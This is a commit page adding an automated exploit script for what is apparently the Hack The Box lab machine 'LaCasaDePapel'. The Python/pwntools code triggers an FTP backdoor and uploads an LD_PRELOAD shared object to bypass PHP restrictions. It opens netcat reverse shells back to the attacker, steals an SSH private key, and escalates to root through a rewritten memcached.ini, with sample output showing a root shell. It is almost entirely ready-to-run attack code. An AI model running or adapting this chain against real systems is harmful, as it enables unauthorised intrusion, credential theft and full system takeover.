Skip to content

Commit e87db6a

Browse files
committed
Automatic commit Sat 27 Jul 2019 03:58:40 PM EEST
1 parent 796ca2d commit e87db6a

File tree

3 files changed

+145
-0
lines changed

3 files changed

+145
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
#!/usr/bin/env python2
2+
# Author: Alamot
3+
import os
4+
import time
5+
import fcntl
6+
import base64
7+
from pwn import *
8+
9+
10+
def get_ip_address(ifname):
11+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
12+
return socket.inet_ntoa(fcntl.ioctl(
13+
s.fileno(),
14+
0x8915, # SIOCGIFADDR
15+
struct.pack('256s', ifname[:15].encode())
16+
)[20:24])
17+
18+
19+
LHOST = get_ip_address("tun0")
20+
LPORT1 = 60000
21+
LPORT2 = 60001
22+
RHOST = "10.10.10.131"
23+
RPORT = 6200
24+
FTP_PORT = 21
25+
BUF_SIZE = 500
26+
TIMEOUT = 60
27+
SSH_BIN_LOCAL_PATH = "/usr/bin/ssh"
28+
CHANKRO_HOOK64_FILE = "hook64.so"
29+
REMOTE_PATH = "/tmp/"
30+
REV_SHELL = "/usr/bin/nc " + LHOST + " " + str(LPORT1) + " -e /bin/sh"
31+
#This works too: REV_SHELL = "#!/bin/bash\nrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc " + LHOST + " " + str(LPORT1) + " >/tmp/f"
32+
33+
34+
print("What shell do you want?")
35+
print("[1] dali@lacasadepapel")
36+
print("[2] professor@lacasadepapel")
37+
print("[3] root@lacasadepapel")
38+
print("[4] Exit")
39+
response = None
40+
while response not in ["1", "2", "3", "4"]:
41+
response = raw_input("Please enter a number 1-4: ").strip()
42+
if response == "4":
43+
sys.exit()
44+
45+
try:
46+
log.info("Attempting to trigger backdoor ...")
47+
ftp_conn = remote(RHOST, FTP_PORT)
48+
# Attempt to login to trigger backdoor
49+
ftp_conn.sendline("USER letmein:)")
50+
ftp_conn.sendline("PASS please")
51+
log.info("Triggered backdoor")
52+
except Exception:
53+
log.error("Failed to trigger backdoor.")
54+
55+
time.sleep(1)
56+
57+
try:
58+
r = remote(RHOST, str(RPORT))
59+
except Exception:
60+
log.error("Failed to connect to " + str(RHOST) + ":" + str(RPORT))
61+
62+
r.recvuntil("Justin Hileman")
63+
log.info("Uploading chankro.so ...")
64+
r.sendline("$myfile = fopen('" + REMOTE_PATH + "chankro.so', 'w');")
65+
66+
with open(CHANKRO_HOOK64_FILE, "rb") as f:
67+
while True:
68+
data = f.read(BUF_SIZE)
69+
if not data:
70+
break
71+
b64data = base64.b64encode(data)
72+
r.sendline("fwrite($myfile, base64_decode('" + b64data + "'));")
73+
74+
r.sendline("fclose($myfile);")
75+
76+
log.info("Uploading shell payload ...")
77+
r.sendline("file_put_contents('" + REMOTE_PATH +
78+
"acpid.socket', base64_decode('" + base64.b64encode(REV_SHELL) + "'));")
79+
80+
log.info("Bypassing PHP restrictions ...")
81+
r.sendline("putenv('CHANKRO=" + REMOTE_PATH + "acpid.socket');")
82+
r.sendline("putenv('LD_PRELOAD=" + REMOTE_PATH + "chankro.so');")
83+
r.sendline("mail('a','a','a','a');")
84+
dali_shell = listen(LPORT1, timeout=TIMEOUT).wait_for_connection()
85+
86+
if response == "1":
87+
dali_shell.sendline("whoami")
88+
dali_shell.interactive()
89+
sys.exit()
90+
91+
log.info("Getting berlin's private key ...")
92+
dali_shell.sendline("curl -s http://127.0.0.1:8000/file/Li4vLnNzaC9pZF9yc2E=")
93+
dali_shell.recvuntil("-----BEGIN OPENSSH PRIVATE KEY-----")
94+
id_rsa_data = dali_shell.recvuntil("-----END OPENSSH PRIVATE KEY-----")
95+
id_rsa_key = "-----BEGIN OPENSSH PRIVATE KEY-----" + id_rsa_data + "\n"
96+
with open("berlin_id_rsa", "wt") as f:
97+
f.write(id_rsa_key)
98+
os.chmod("berlin_id_rsa", 0o600)
99+
100+
log.info("Login via SSH as professor ...")
101+
# We use an ssh process to connect because pwntools ssh tube uses the paramiko module (which is incompatible with our private key format).
102+
professor_shell = process([SSH_BIN_LOCAL_PATH, "-tt", "-i", "berlin_id_rsa", "professor@"+RHOST], stdin=PTY)
103+
104+
time.sleep(1)
105+
106+
if response == "2":
107+
professor_shell.sendline("whoami")
108+
professor_shell.interactive()
109+
sys.exit()
110+
111+
log.info("Escalating to root via memcached.ini ...")
112+
professor_shell.sendline("mv -f /home/professor/memcached.ini /home/professor/memcached.ini.orig")
113+
professor_shell.sendline("printf '[program:memcached]\ncommand = sudo -u root /usr/bin/nc " + LHOST + " " + str(LPORT2) + " -e /bin/sh\n' > /home/professor/memcached.ini")
114+
root_shell = listen(LPORT2, timeout=TIMEOUT).wait_for_connection()
115+
root_shell.sendline("whoami")
116+
root_shell.interactive()
117+
118+
119+
'''
120+
$ ./autopwn_lacasadepapel.py
121+
What shell do you want?
122+
[1] dali@lacasadepapel
123+
[2] professor@lacasadepapel
124+
[3] root@lacasadepapel
125+
[4] Exit
126+
Please enter a number 1-4: 3
127+
[*] Attempting to trigger backdoor ...
128+
[+] Opening connection to 10.10.10.131 on port 21: Done
129+
[*] Triggered backdoor
130+
[+] Opening connection to 10.10.10.131 on port 6200: Done
131+
[*] Uploading chankro.so ...
132+
[*] Uploading shell payload ...
133+
[*] Bypassing PHP restrictions ...
134+
[+] Trying to bind to 0.0.0.0 on port 60000: Done
135+
[+] Waiting for connections on 0.0.0.0:60000: Got connection from 10.10.10.131 on port 38127
136+
[*] Getting berlin's private key ...
137+
[*] Login via SSH as professor ...
138+
[+] Starting local process '/usr/bin/ssh': pid 17044
139+
[*] Escalating to root via memcached.ini ...
140+
[+] Trying to bind to 0.0.0.0 on port 60001: Done
141+
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.131 on port 41479
142+
[*] Switching to interactive mode
143+
root
144+
$
145+
'''

hacking/HTB/LaCasaDePapel/hook64.so

8.3 KB
Binary file not shown.
File renamed without changes.

0 commit comments

Comments
 (0)